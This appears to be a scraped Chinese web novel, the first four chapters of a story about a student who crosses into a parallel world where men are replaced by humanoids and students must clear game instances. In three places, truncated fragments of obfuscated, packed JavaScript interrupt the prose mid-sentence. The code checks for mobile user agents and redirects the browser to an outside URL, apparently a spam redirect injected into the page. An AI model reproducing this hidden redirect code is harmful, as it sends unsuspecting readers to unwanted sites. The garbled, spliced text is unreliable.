《金手指是假的怎么办?[弹幕]》 1. 第 1 章 看着眼前悬浮的透明面板,沈佳人深深叹了一口气。 如果时光能重来,她一定不会在昨天上午一二节的线代课上睡觉! 之前她在其他课上睡觉,两眼一闭一睁,眨眼间收获的是满满一黑板的知识。 而在这堂课上睡觉,她眨眼间就来到了另一个世界。 其实,刚开始她并不知道自己穿了。 和以前一样,沈佳人上完早八后就慢慢吞吞往食堂赶,以求在十点半的时候吃上一顿早午饭。 十点半,是她实验过吃早午饭的最佳时间。在这个时间点吃饭,早上既不会太饿,下午也不会因午饭吃的早而饿得快。 在她坐在食堂,边玩手机边等待十点半的到来时,“叮”,手机突然收到了一封短信: “考生您好!第xx届温斯岛实习考核全国联赛将于明日上午9:00准时开始,请及时联系队友,并于今日12点前登录系统确认队伍信息,做好考核准备。温斯部实习考核司在此预祝您考核顺利、满载而归!” 温斯岛?全国联赛?考核司?这都是什么鬼东西? 看到短信最末缀着的蓝色网址,沈佳人内心感叹,她都不知道该夸骗子敬业还是说他糊弄。 你说他敬业吧,这短信写得丝毫不能勾起让人点进去的欲望;你说他懒散吧,他又编辑出这一长串看似非常正规的信息。 但骗子的业务能力不是她该关心的事情,她只想知道自己的信息到底泄露成什么样了,之前是房贷车贷信用卡,现在温斯系统考核司。 她边吐槽边顺手删掉短信,拎着打包好的面条回到学校外的出租屋。 出租屋离学校不远,走十五分钟就到了。 之所以不住宿舍,是因为当时她为了照顾妈妈,学校医院两头跑,为了不打扰舍友、耽误学习,也为了更好照顾妈妈,她便让她爸给她在学校和医院中间位置租了个房子。 那时候很累,但日子有个盼头,她盼望着妈妈能快点好起来,早日出院。 只是后来妈妈没能从医院里出来,她也没力气再搬回宿舍。 沈佳人站在出租屋门前,把刚掏出来的钥匙放回兜里,开始砰砰砰敲门。 她是故意的,因为她“舍友”今天没有课,不会早起,她不想让他睡好觉。 至于要问她“舍友”是谁?那就是她名义上双胞胎弟弟沈嘉钰。 说起沈嘉钰,她不想说,因为一切都过于荒诞可笑。 在妈妈去世之前,沈佳人一直以为自己和他是从一个娘胎里爬出来的亲姐弟,虽然长得不像,但她们又不是同卵双胞胎,很正常。 直到有天晚上,她刚刚结束家教,本来想回去休息,但又想起白天时,妈妈说她想吃点甜的。 沈佳人绕了路,跑到距离学校和医院都很远的蛋糕店,给妈妈买了之前她说好吃的慕斯小蛋糕。 住院陪护是她和沈嘉钰轮流白天,爸爸陪晚上。 沈佳人到的时候,妈妈不在病房。隔壁床的阿姨说,她和爸爸去医院小花园里散步解闷了。 小花园不太大,沈佳人一眼就能看到她的爸爸妈妈,她忽然起了坏心思,蹑手蹑脚地走进想要吓她们一跳,可没想到是她们“吓”了自己一大跳。 她听见她们谈起她和沈嘉钰,一个上午来,一个下午来,把隔壁床羡慕得不得了。 “我真是好福气,有两个这么孝顺的孩子。”她听见妈妈这样说,嘴角轻轻翘起,然后她听到了下一句话,“当时你把小嘉抱来,对外说,我生了龙凤胎。我听到的时候,气得要死。现在看来也挺好,没白养,孝顺,和佳佳关系也不错……” 沈佳人不知道自己是如何回到病房,是如何装作平常,对隔壁床阿姨说,自己没找到妈妈,希望妈妈回来的时候,她能对她说一声,记得吃慕斯小蛋糕。 在妈妈去世前,她都没有勇气问她们为什么,既然沈嘉钰不是亲生的,那姑姑当时为了“求子”想要个小孩带来好“孕”气时,为什么把亲生的她送过去? 她们不知道自己在那个家经历了什么,不知道当她十二岁时,她见到她们来接她,有多开心。 沈佳人没有勇气追究,但也无法释然。 自那天起,她不怎么说话,也不怎么爱笑。妈妈去世后,她常常木着一张脸,像是别人欠了她八百万,对沈嘉钰更是没什么好脸色。 知道沈嘉钰不是自己的亲弟弟后,她对他有种莫名的厌恶,她讨厌他能从小在爸爸妈妈身边长大;讨厌他明明不是亲生的,还能得到不偏不倚的关爱;讨厌听到他的声音;讨厌他爽朗的笑;讨厌关于他的一切;更讨厌深深嫉妒着他的自己。 至于为什么还要和他共在同一屋檐下: 这是花她父母的钱租的房子,她凭什么搬出去,把家留给鸠占鹊巢的人? 沈佳人一边敲个不停,一边拿出手机刷消息。 那条莫名其妙的信息再次弹了出来,她记得她已经把它删掉了啊,怎么还发,太烦人了吧。 让你发发发,拉黑! 沈佳人才刚拉黑这条短信,门吱呀一声开了。 今天怎么回事?沈嘉钰怎么起这么早?可惜了,没能扰他好梦。 “姐姐,你回来了?” 沈佳人以极其轻微的幅度点了下头当做回应,而后就装没看见似的,转身进门。 可谁承想,她没能找成沈嘉钰的不痛快,他反倒来找自己不痛快。 在她进自己房间吃饭前,沈嘉钰拦住了她。他支支吾吾,也不说为什么,只一个劲地低低喊着姐姐。 她面快要坨了,他知不知道! “沈嘉钰!你……” 沈佳人的火气突然停住了,因为她发现,从开门到现在,沈嘉钰对她的称呼是……姐姐? 可沈嘉钰从来不会喊叠字,他只会喊单字,“姐”。 面前的沈嘉钰像是被沈佳人那一嗓子吓住了,立马从背后拿出了紧攥的东西,眼睛周围也迅速染上一圈红晕。 “姐姐,今天是换凯温斯的日子。”她听见他如此说道。 沈佳人的视线落在他的掌心上,那是一个长约四五厘米的透明圆柱体,约莫一根手指粗细,两个圆形底面用银色金属紧密封着,防止里面的红色液体溢出来。 她不知道这红色液体是什么,看颜色有点像血。 因为在思索凯温斯是什么东西,沈佳人一时间没有说话。 沈嘉钰见她不语,以为她不乐意,连忙道:“今天是最后一次,我保证,以后都不会再找你了。” 他后半句说得缓慢又艰涩,像是受了天大的委屈。 称呼不对,语气不对,凯温斯也不对。 沈佳人后知后觉发现了事情的不对劲,犹豫片刻,她接过了沈嘉钰手中的凯温斯。 没有不耐烦,没有生气,这是自妈妈去世后,姐姐第一次如此心平气和地要为他换凯温斯,沈嘉钰忍不住抬眼觑她。 她,好了吗? 而这种微妙的期待在她的下一句话中破碎掉了。 “怎么换?” 她只是换了个方式继续为难自己,但没关系,我答应过妈妈的,所以没关系。 沈嘉钰收拾好失落的心情,带沈佳人进了自己的房间。 进门后,沈嘉钰利落地脱掉上衣,趴躺在床上。他把头枕在一只手臂上,另一只手臂举起,将凯温斯递了过去。 从进门开始,沈佳人的脑子就是麻的,为什么脱衣服?为什么躺在床上?为什么要脱了衣服躺在床上? 她愣愣地拿着那管叫做凯温斯的液体,站在沈嘉钰的床前,俯视他光洁白皙的后背。 他把头埋在床间,肩胛两侧的蝴蝶骨轻颤,他的声音沉闷含混,但足够让沈佳人听清: “颈后四指的地方有个红点,按下去。” 他在教自己换凯温斯,沈佳人闻言看向他所说的地方,果然有颗红色小痣。 这是原来就有的吗?沈佳人不清楚。 伴随着手指的往下按压,咔哒,有什么东西响了一下。 而后惊悚的一幕出现了,沈嘉钰小痣下方一指处的皮肤打开了,露出了一管长得和她手中凯温斯差不多的红色液体,只不过颜色要淡上几分,像是被吸走了生机。 “把里面的凯温斯取出来,换上新的。”顿了顿,他继续说道,“就像给遥控器换电池一样。” “再按一下红点,它就会关上。” 沈佳人手指有些发抖,但还是依言照做。 她把里面那管凯温斯取出来,把新的放进去,按下小痣,沈嘉钰后背的皮肤倏然闭合。 可能是因为刚取出来,她手中的凯温斯还有点温热黏腻,像根刚切下来还带着血的手指。 沈佳人沉浸在惊悚的余韵中还没回过神,只见沈嘉钰转过头来委屈地看向她:“姐姐,你现在学会了?学会怎么给我这个类人换电池了吗?下次还需要我教你吗?” 他眼尾通红,眼泪含在眼眶里,要落不落,再配上这委屈的语气,像是受了天大的屈辱。 而沈佳人依旧木着一张脸,看上去无动于衷。 实际上她内心都快要崩溃了:你还有脸哭?该哭的人是我吧! 你到底是什么玩意!沈嘉钰呢?沈嘉钰呢!!! 沈佳人强忍内心的恐惧,丢下一句,“你说的,这是最后一次。” 说完便来到卫生间,扔掉凯温斯,冲洗手上的污渍。 那种温热似乎还残留在手上,引得沈佳人一阵心悸。淡红色的痕迹被水流带进下水口,像是被稀释了很多遍的血迹。 清凉的自来水带走残留的淡红痕迹的同时也慢慢平复了沈佳人不安的心情,吓懵的大脑开始转动: 他到底是什么东西,为什么和沈嘉钰长得一模一样? 外星入侵、末日降临还是不明生物? 沈佳人把种种可能性都想了一遍,甚至狠狠掐了自己一下来确定是不是在做梦。 直到卫生间门外传来敲门声,“姐姐,你好了吗?” 他鼻音浓厚,声音里还带着严重的哭腔,可这并不能消除沈佳人对他的戒备。 “还没,怎么了?”她关掉水龙头,悄悄后退两步,一手抄起旁边的扫把,一手拿出手机随时准备拨打报警电话。 卫生间的门早早被她反锁了,但不知道能不能抵挡住门外的东西。 “导员催我们登系统确认信息,他说就差我们小队还没确认了。” 确认信息?小队? 沈佳人想到那条奇怪的短信,赶忙打开屏蔽已久的班级群,一连串艾特她的消息映入眼帘。 导员:@沈佳人请及时登录系统确认队伍信息 导员:@班长开启一下群成员私聊 班长:@导员老师,群成员私聊是开着的,应该是沈同学那边关闭了临时会话35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470945|201475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 导员:@沈佳人请通过我的好友申请 导员:@沈佳人 导员:@沈佳人 …… 导员:@沈嘉钰,叫你姐姐通过一下我的好友申请,提醒她登录系统确认信息 …… 沈佳人默默爬完消息楼,翻了翻手机备忘录,又上网搜了搜相关资料。终于无比确定,自己应该是穿了,穿到了一个现代架空的平行世界。 在这里,她依旧是沈佳人,温都大学的大三学生,母亲去世,父亲健在,有一个讨厌的弟弟。 看上去和原世界没有什么不同,但都是错觉。 身份证上的性别女,变为了种族人类。朝夕相处活生生的“弟弟”变成了没有“血肉”的类人。 之前每月都按时到访、折磨得她死去活来的月经,虽然没有了可还是需要每月流血,因为那黏腻恶心的凯温斯。 凯温斯,类人生命维持剂,由90%的温斯花液和10%人类血液制成,需每月一换。 现在是初秋,天气依然有些热,但沈佳人穿着长裤长袖。 她撩开左胳膊上的衣袖,果不其然,有一道新鲜的伤痕,这是昨天“她”为了制作凯温斯而划伤的。 不管怎么着,可以确定的是,门外的那个沈嘉钰暂时没有危害性。 她一边本能的在消息框里打字,“好的收到,谢谢老师提醒[玫瑰][玫瑰][玫瑰]” 一边放下扫把,打开卫生间的门,“沈嘉钰”还没走,见她出来怯怯弱弱的喊了声姐姐。 他眼眶泛红,眼尾湿润,明显一副刚哭过的样子。 可沈佳人脑子里没有任何关于这个世界的记忆,一时也拿不准该以什么样的态度对待“沈嘉钰”,只装作没看见越过去,拿着面回了自己屋。 一进门,沈佳人就反锁房间,观察屋内摆设,试图找出些不同来。 结果,这间房间和她原来的房间一模一样宛如复制粘贴。不仅如此,手机里的内容也大差不差,除了多了一个名为温斯岛的红色app。 沈佳人在脑中回想,穿越后,她所遇到的不属于原世界的东西:凯温斯、类人、温斯花液还有温斯岛,看来这些就是平行世界和原世界最大的不同点了。 这样想着,门又被敲响了,不用猜肯定还是“沈嘉钰”。 她本想装听不见,但……她想知道抛去这些不同点,其余的是否和原世界大差不差。 于是,沈佳人打开门,开口问道:“你怎么还不走?” 如果昨天的“她”也曾赶他走的话,那他一定能知道她在说什么。 “姐姐,你别赶我走,我不走。” 他哭得很惨,跌破了沈佳人的预期。 原世界的沈嘉钰从来都没在她面前哭过,或者说他根本就没有哭过,她一时招架不来,连忙拽了几张纸巾给他。 这个动作让“沈嘉钰”哭声蓦地停了一瞬,他再次小心翼翼地看沈佳人,观察其神色。可沈佳人没察觉异常,只当是中场休息。 接下来异乎寻常的顺利,她没再旁敲侧击,“沈嘉钰”便抽抽噎噎地说了很多很多。 从昨晚争吵的原因到家里的那些破事,在表完“会坚决和她统一战线”的态后,又聊起明天的实习考核,顺带说了温斯岛、温斯花…… 除了和实习考核相关的事情,其余都和沈佳人的记忆大差不差。 出轨的爸,早亡的妈,受宠的弟弟,不被爱的她,以及他和他一样,都还不知道自己的身世。 可有一点沈佳人搞不懂,明明两个世界重合度这么高,为什么这个世界的沈嘉钰和原世界如此不同? 她需要改变和他相处的方式吗?但看他的样子,好像没有怀疑“沈佳人”被掉包了。正常人,不,是正常类人应该也想不到穿越这回事吧。 沈佳人决定以不变应万变。 可她不知道,这些都是沈嘉钰揣摩她心思之后的结果;她同样也不知道,无论是好脾气“沈佳人”还是坏脾气“沈佳人”,都最讨厌沈嘉钰看“她”眼色,揣摩“她”。 经过沈嘉钰的“无心”科普加上她搜集的信息,沈佳人对这个平行世界有了更进一步的了解。 这里和原世界最不同的地方有两处: 这是一个无男的世界,准确的说,男性这种生物不知从何时起被一种称为类人的半人半机械的生物所取代了。 这是一个有副本存在的世界,所有成年大学生在大三这一年都要参加温斯岛实习考核全国联赛,下副本玩游戏,获得游戏积分也就是温斯花。 在沈佳人梳理两个世界异同之处时,通过好友申请的导员给她发来了消息,再次提醒她登录系统确认信息。 按照导员发来的教程,她打开了温斯岛app,而后一路弹窗一路同意,在最后一个弹窗跳出时,她有些犹豫。 “沈佳人同学,请您确认明日是否会准时参加温斯岛实习考核全国联赛?” 犹豫片刻后,她点了确认。 全国联赛应该没什么危险性,再加上“沈嘉钰”说这种比赛抽中的副本任务一般都不难,像什么在密闭空间待一小时、开心大笑30分钟之类的。 而且还有队友,应该没有什么事吧…… 此时已进入副本的沈佳人,望着面前漂浮的半透明面板,只想狠狠抽自己两下。 运气逆天的她,竟然抽中了B级高难度副本!!! 2. 第 2 章 沈佳人对着透明面板上的信息,仰天长叹,命运为何如此捉弄她! 【欢迎各位考生来到兽人世界-艾尼斯帝国,祝你们玩得开心、顺利通关!】 【副本名称:繁衍的爱】 【难度:B级(该等级副本死亡率在60%左右,请考生小心应对哦)】 【模式:小队合作模式】 【任务:摧毁实验!(艾尼斯帝国的莱伦教授正在进行一项危险的实验,请你们毁掉他的实验,阻止完美物种的诞生)】 【补充说明1:艾尼斯帝国作为温斯岛优质的副本□□不仅诞生出两个□□副本,更□□□了□□□□考生,□□□足迹早已□□□□。当新的考核开始,若能□□□□,或许将有意想不到的□□。】 【补充说明2:作为队长的你,一定要好好保护自己的类人队友哦,他们将是你坚实的后盾!】 平行世界与副本共存已久,久到在平行世界下副本就像玩一款名为温斯岛的盲盒游戏,玩家永远也不知道自己打开的会是解密向、冒险向还是其他内容的游戏。 由于副本千奇百怪,背景故事也各不相同,于是按照难度划分成为最简单的分类方法。 目前官方记录在册的共有五种难度,分别是S、A、B、C、D,其死亡率分别在100%、80%、60%、90%、0%左右。 其中D级副本死亡率虽是0%左右,但也不是完全没有死亡风险。比如当任务要求是在封闭狭小的空间待满一小时时,对患有幽闭恐惧症的玩家来说,这个副本难度等级远远超过D级。 因为这种特殊情况和温斯岛的盲盒性质,平行世界不鼓励大家下副本;但又因占据世界一半的类人需要温斯花来维持生命,又不能进行打压。 所以平行世界对此的态度是采取自愿原则,但出于安全考虑又进行了种种限制。 比如年龄限制和一些基本的防沉迷系统,虽然副本中的时间流速和现实时间不同,但当系统监测到玩家在线超过40分钟时会启用自动弹出功能。 又比如为保证安全,所有成年大三学生都需参加官方组织的全国联赛,并依据排名获取后续进入副本的资格。 虽然官方也无法改变温斯岛的盲盒性质,但可以将其难度限制在可控范围内。据往年统计数据,考生在全国联赛中匹配到的副本基本都在C级和D级,这其中又以D级居多,B级及以上副本是少之又少,屈指可数。 可…… 沈佳人欲哭无泪,为什么她会抽中B级! 别人要么是满级大佬重回新手村,要么是主神失忆体验服,而她作为一个新到不能再新的24k纯新人上来就要挑战死亡率在60%左右的B级副本,这算什么?算xx到家——送菜上门吗? 吐槽归吐槽,实际上沈佳人对B级、60%的死亡率没有什么实感,它们对她来说只是一行字。 之所以反应这么大,纯粹是因为从概率学上来讲太倒霉了而已。 不消一会,她便从怨天尤人的状态中脱离出来,开始东看看西瞧瞧。 沈佳人低头扫了一眼自己身上的衣服,亚麻色的古朴长袍,不是进来之前的那套休闲套装。 接着又抬起左腕看了看,上面空空如也,什么也没有。 沈嘉钰见她来回晃动手腕,于是伸出左手,开口道:“姐姐,登岛手环在副本内会变成红点,你看,就在这里。” 他用手在自己的手腕内侧,距离腕线两寸远的地方一点,那里印着一颗宛如天生的红色小痣。 沈佳人跟着翻转手腕,在同样的位置躺着一枚一模一样的红点。 “当你感觉到它变烫了,就意味着任务完成,快要脱离副本了。” “我知道。”沈佳人抓紧补充道,收敛起好奇模样,她想,应该不会被瞧出什么吧。 不过这也无法怪她,试想,明明前一天你还待在连全息游戏都没有的世界,结果第二天就来到了只在小说中存在的副本里,你也会哈士奇搬新家哪儿哪儿都新鲜。 沈嘉钰温和笑道:“姐姐之前没参加模拟,我以为姐姐不知道,所以想……是我说多了。”说到这儿他眼睫低垂,像觉得自己犯了什么大错,笑都淡了许多,好在这神情只停留了一瞬,转眼又笑起来,接着道:“不过,姐姐真厉害,没模拟过都这么熟悉!” 他嘴角上翘,两眼弯弯,脸侧的小梨涡若隐若现。被夸奖的沈佳人应该开心,但沈嘉钰的言行举止让她一时分不清他在夸她还是在骂她。 在正式考核前三十分钟,温斯岛会强制考生阅读游戏须知,三十分钟足够读上个五六七八遍,而这些都是游戏须知里的内容…… 正当沈佳人不知作何回应,旁边的人像是没看见他们的互动,在作完简短的自我介绍后,开门见山道:“你们的补充说明内容有缺失吗?” 说话的人是越山,她的队友之一。 与民主的自愿组队不同,每支实习考核小队成员组成、队长任命都是由学校统一安排。一经安排,不得更改。 小队一般有3-4人,由一位人类和2-3位类人组成,小队队长默认由人类担任。 沈佳人有两位类人队友,其中一位是她初中同校、高中同班、大学同专业,自12岁起就深深绑定在一起的“双胞胎弟弟”沈嘉钰;而另一位则是学校分配的队友,越山,一个黑发蓝眼的美少年。 小队名单会提前一个月公布,而她这位队友是在进入副本前一天的晚上六点联系的她。 本来恶补《五年模拟十年副本》的沈佳人在收到好友申请后,焦虑的心诡异得平静下来。 一是她没想到竟然有人比刚刚穿越还搞不清状况的她还要摆。 二是通过好友申请后,越山只发了两条消息: “你好,我是No.5333小队成员,越山。” “副本见。” 惜字如金,言简意赅,颇有大佬风范,大腿预备役。 作为大腿预备役的越山没有让沈佳人失望,在她念出自己的补充说明1哪些地方有缺失后,他沉思片刻,抛出惊天大雷: “我认为这个副本难度可能远不止B级。” “根据补充说明1来看,艾尼斯帝国曾经出过两个副本,而这两个副本难度等级均为A级。” 说到这儿,越山停住了,抬头望向沈佳人,像在等她说话。 沈佳人不明所以,循着话头问:“那你知道这两个副本的内容吗?” 越山没有立刻回答,他古怪地看了沈佳人一会儿,回答道:“知道,这两个A级副本一个叫做艾尼斯之花,一个叫做菲梅尔之囚。” “其中艾尼斯之花是作为全国联赛的实习考核副本出现在温斯岛的,菲梅尔之囚是作为职业副本出现的。” 为了保证温斯花供给稳定,除了每年一次以学生为主力军的实习考核全国联赛,官方还成立了温斯岛职业玩家协会,每年都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这不正好巧了吗?繁衍的爱正好是B级副本,不管它实际难度是不是在B级之上,温斯岛给出的判定它就是B级,况且他们一进副本就降落到一个鸟不拉屎的翠绿森林,没有和NPC正面相遇,这也从侧面验证了这是B级副本。 越山和沈嘉钰都不明白沈佳人为何会突然这么兴奋,也不知道她口中的第三种方法是什么,还是沈嘉钰后知后觉反应过来,给越山介绍了所谓的第三种方法。 听完沈嘉钰的解释后,越山面无表情的脸有些波动,“我不是那个意思。” “那你为什么要故意吓唬我?” 是的,故意。越山明显知道那两个人类玩家在副本里发生了什么,但他不明说,而是暗示她,她们遭遇了十分可怕的事情。 既然十分可怕,那当然要避开,苟起来。 “我……” 越山没想到沈佳人比想象中的更好说话,于是直接开口道:“我是想让你找机会杀了副本boss莱伦教授。” 沈佳人:“啊?” 越山瞅了一眼她因不解张大的嘴巴,继续解释道:“实习副本的补充说明很少出现缺失,这个副本有古怪是一定的。与其等真正的危险来临,不如先下手将莱伦干掉。” 沈佳人认为他说得很有道理,可副本boss是说杀就能杀的吗?而且…… “那你直说就行,为什么……” 越山脸上又浮现出那种很古怪的神情,他看着沈佳人一字一句道:“因为人类很难相处。” “可你……你很不正常。” 3. 第 3 章 “你很不正常。” 越山此言一出,沈佳人心头一个咯噔,但她没想到比她反应还大的是沈嘉钰。 几乎是越山话音刚落,沈嘉钰就嚷嚷道:“我姐姐一直很正常,她一直都这样,一直很好相处,一直很好说话,一直……” 他言辞激烈,表情激动,不知情的会以为越山骂了他全家。 沈佳人赶忙拍了拍他胳膊,安抚他,让他不要那么激动。 沈嘉钰果然安静下来,委屈巴巴低着头不说话,只偶尔抬头悄悄瞪越山。 沈佳人避开不谈她正常与否,直截了当拒绝了越山的提议。 与按部就班完成任务相比,直接干掉任务核心人物——副本boss莱伦的确更为简单高效,但问题在于以什么样的方法达成。 “所以你还是坚持第三种方法,苟到通关,对吗?”越山问她。 沈佳人点了点头,她一边观察越山神情,一边说出自己的想法:“苟不意味着彻底否定掉你的建议,而是我们需要时间摸清副本的基本情况。况且这样也更安全,不是吗?” 越山能察觉到对面的人类在以委婉的方式说服自己,她没有简单粗暴说不可以,她在同自己商量,在照顾他的脸面与情绪。 很奇怪,人类不该是这样的。 对于沈佳人的想法,沈嘉钰自然举双手双脚赞成,越山虽不赞同但未继续反对,5333小队意见暂时达成统一。 在他们继续讨论补充说明1缺失的内容以及该怎么苟时,“不速之客”出现了。 最先发觉有人靠近的是越山,“等一下,有人在往这边走。” 沈佳人等人立马警觉,朝四周望去。林子静谧,偶有风吹草叶和小动物窸窸窣窣动作的声音。 他们一边巡视四周,一边侧耳凝神倾听,警戒状态维持了两三分钟,没有异常发生。 正当沈佳人要松一口气时,视线所能及的最远方模模糊糊出现了一群身影。 为首的人穿着白色衣服,在以绿色为背景的林子显得格外瞩目。 自白色人影出现后,越山和沈嘉钰立马起身,齐齐挡在沈佳人的身前。 待那群来历不明的人走近后,沈佳人才发现带头的人是一个身穿白色短款无尘服、眉目精致的短发兽耳女。她身后跟着六个身材高大、穿黑色作战服的兽人,每个兽人手中都持有武器。 她是谁?会是莱伦吗? 沈佳人心底刚升起这个疑惑,对面就开口了,“你们好,我是完美研究院院长助理多可,请问你们有没有看到一个高挑瘦弱、棕发绿眸、穿着深棕条纹马甲的雄性兽人?” 越山戒备地看着她,摇头道:“没有。” “没看到吗?”得到否定回答的多可没有就此离开,而是继续说,“这位先生我们不是坏兽人,寻找那位雄性兽人也不是为了伤害他。” “实际上,他是我们的院长,莱伦教授。想必你们应该听说过他的名字。” 在她说出莱伦二字时,沈佳人三人互相看了对方一眼。 多可没有错过他们对视的动作,笑道:“看来你们是听说过了,这就好办了。其实……” 在多可的讲述里,完美研究院每年都会在艾尼斯帝国全国征集参与实验的志愿者,往年都是由研究院里专门负责招募的兽人去各大征集点宣传招录,但今年身为院长的莱伦教授突然心血来潮想亲自招募志愿者。 结果听闻院长将亲至奥莱托城的征集点,当天征集点便被挤爆了。好不容易结束了为期三天的志愿者招募准备返回帝都,谁料一眨眼莱伦不见了。 多可面露疲惫,再次说道:“如果你们看到他,请一定要告诉我。” 沈佳人从越山背后探出头来,“可我们真的没有看到。” 多可无奈笑道:“抱歉,我不是怀疑你们。实在是这一路寻过来才知道教授给所有遇到过他的兽人说,我们是抓他去做兽体研究的坏蛋,然后给了他们一大笔钱,让他们不要告诉我们关于他的行踪。” “可我们真不是什么坏蛋。”说着多可还从口袋里掏出工作证来证明身份。 沈佳人等人:…… 于是,沈佳人再次重复道:“你好,我们也是真的没有见过他。” 再次得到否定答案的多可生无可恋,“好吧,多谢你们的帮助。” 正当沈佳人以为她会离开时,多可道:“对啦,这里离最近的城镇很远,步行要走上一整天,你们怎么会到这里来?” 她上下打量全身上下只有一身衣服的三人,接着道:“请问是发生什么了吗?需要帮助吗?” 突如其来的一问把沈佳人三人问懵了,艾尼斯帝国的兽人难道这么热情好客,喜欢帮助落难兽人吗? 这个问题不在他们预想准备的答案内,按照他们的计划,会先在林子里生存几天,而后装作落难兽人去最近的城镇摸摸情况,情况不错就先安家,情况不好再退回林子,寻找其他既舒适又安全、适合长期苟的地点。 沈佳人道:“谢谢您的好意,我们暂时不需要。” “请您不用因为害怕麻烦我们而拒绝我们的帮助,完美实验室的宗旨是为每一位兽人实现心愿,能够为需要帮助的兽人提供救助是每一位工作人员的荣幸。所以,您确定不需要帮助吗?” 沈佳人无比确定自己不需要帮助,她需要的是多可的离开。 但她清楚看到在多可再次询问她需不需要帮助时,多可身后六位高大健壮的兽人全都紧了紧手中的武器。 沈佳人咽下刚到嘴边的拒绝,道:“既然如此,那就麻烦您了。” 在跟随多可返回研究院暂居之所的途中,多可很贴心地提出要不要加入研究院成为志愿者。 被高大兽人团团包围的沈佳人含泪答应了她,并表示十分荣幸。 多可带着他们回了奥莱托,因为迟迟没有找到莱伦,他们需要在城中停留几天。 “两天之后不管有没有找到教授,我们都要按原计划返回帝都,这几天需要你们暂时在旅馆休息。”多可对沈佳人说道,“不过请放心,完美旅馆是研究院所建,专为志愿者和职工服务,不接待外来客人。” 也就是说沈佳人三人会完全处在研究院的监控之下。 在多可为他们安排房间时,越山忽然提出,他们只要一间房。 闻言,多可思考片刻,转头询问沈佳人的意见,“露丝小姐,您愿意和他们住一间房吗?” 露丝是沈佳人为自己取的假名。 沈嘉钰和越山也取了假名,分别是波若和马丁。 不待沈佳人回应,多可继续说:“恕我直言,即使你们是姐弟关系,终归也是雌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470947|201475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雄有别,不太合适。” “多可助理,我理解您的担忧。”沈佳人害怕道,“但您知道,我们刚刚从那种地方逃出来,不免有些不安,请您体谅。” 沈佳人化用了那位进入菲梅尔之囚玩家的故事背景,说他们三姐弟是从拐子手里逃出来的。 虽然不知道菲梅尔之囚距今的时间线,但无论历经多少时间,阴暗永远不会被消灭。 果然,听到她这么说,多可不再反对,而是为他们安排了一间十分宽敞的三人间。 临别前,多可送了她一个紧急寻呼机,“只要你发现不对,可以随时按下。记住是随时,深夜也可以。毕竟守护志愿者的安全是我们的职责。” 看着手表样式、中间镶嵌红色圆形按钮的紧急寻呼机,沈佳人的内心很复杂。 多可,看上去是一个非常好非常好的兽人。 沈佳人三人用房卡打开了多可为他们安排的房间。 三张床没有并排放置,而是利用墙面巧妙错落布置,在兼顾空间利用的同时考虑到了个人隐私。 一进门,越山就开始四处翻找,查看有没有监视窃听装置。 他好似懂很多,既知道艾尼斯帝国以往两个A级副本信息,又掌握反窃听技术。 “没有异常,但这个……不确定。”越山指了指沈佳人手上的紧急寻呼机。 说着,他让沈佳人把它取下放在离他们最远的位置。 不过以防万一,他们还是不敢大声说话。 越山率先开口,他学着沈嘉钰的口吻,阴阳怪气道:“姐姐,不是说要带我们荒野求生吗?我们现在是在荒野吗?” 沈嘉钰闻言,气得双颊鼓起,但又不能大声同他吵,只能狠狠瞪他。 他,太可恶了! 沈佳人不和他计较,正色道:“一他们手里有家伙,识时务者为俊杰;二她长得好看,好看的人一般都心地善良。” 最后一句是沈佳人以防多可有其他监听手段故意说的,但越山不知道。 听到沈佳人这么说,他竟轻哼一声,“也对,你们人类向来以貌取人。” 他说人类二字时,声音又轻又小,沈佳人险些没听见。 耳朵好使些的沈嘉钰,咬牙轻声道:“你,你不许说我姐姐坏话。” 沈佳人没有第一时间阻止沈嘉钰,而是沉思起来,在类人眼中,人类到底是怎么样的形象。 难相处,不好说话,以貌取人? 如果是这样,那她以后是不是要凶恶一些,轻浮一些? 可看到极力维护她的沈嘉钰,她又觉得不太需要。 沈嘉钰到现在也没发现异常,是不是说明原世界的“沈佳人”本来就是难得一见的大好人! 见她不说话,越山道:“你在想什么,怎么还不管管你三弟弟?” 她没看见,沈嘉钰都快上手揍他了吗! 沈佳人笑笑,打哈哈道:“我在想什么时候能把那个东西用掉?” 她指了指远处的紧急寻呼机。 “很难,我们又没有……” 越山没说完,但沈佳人知道他省略掉的词语——发情期。 类人没有发情期,多可的“好意”她用不掉。 可越山忽略了一件事,他们现在在艾尼斯帝国,最不缺的就是有发情期的兽人。 4. 第 4 章 意外发生在晚间就餐时间。 完美旅馆规定旅客不得在房间内就餐,须统一到一楼大厅。 趁此机会,沈佳人几人也得以见到了其余四位兽人志愿者。 他们兽化程度不一,既有完全兽化的兽人,也有“完美”近似人类的存在。 其中,令沈佳人印象最深的是一位雄性兽人穆德。他身高接近两米,上身纯白衬衫外套黑色紧身马甲,下身是与马甲同色的西装裤,脚蹬一双油光锃亮的皮鞋。 单从穿着来看,穆德是一位十足十的绅士,但没有兽人会把他看做绅士。 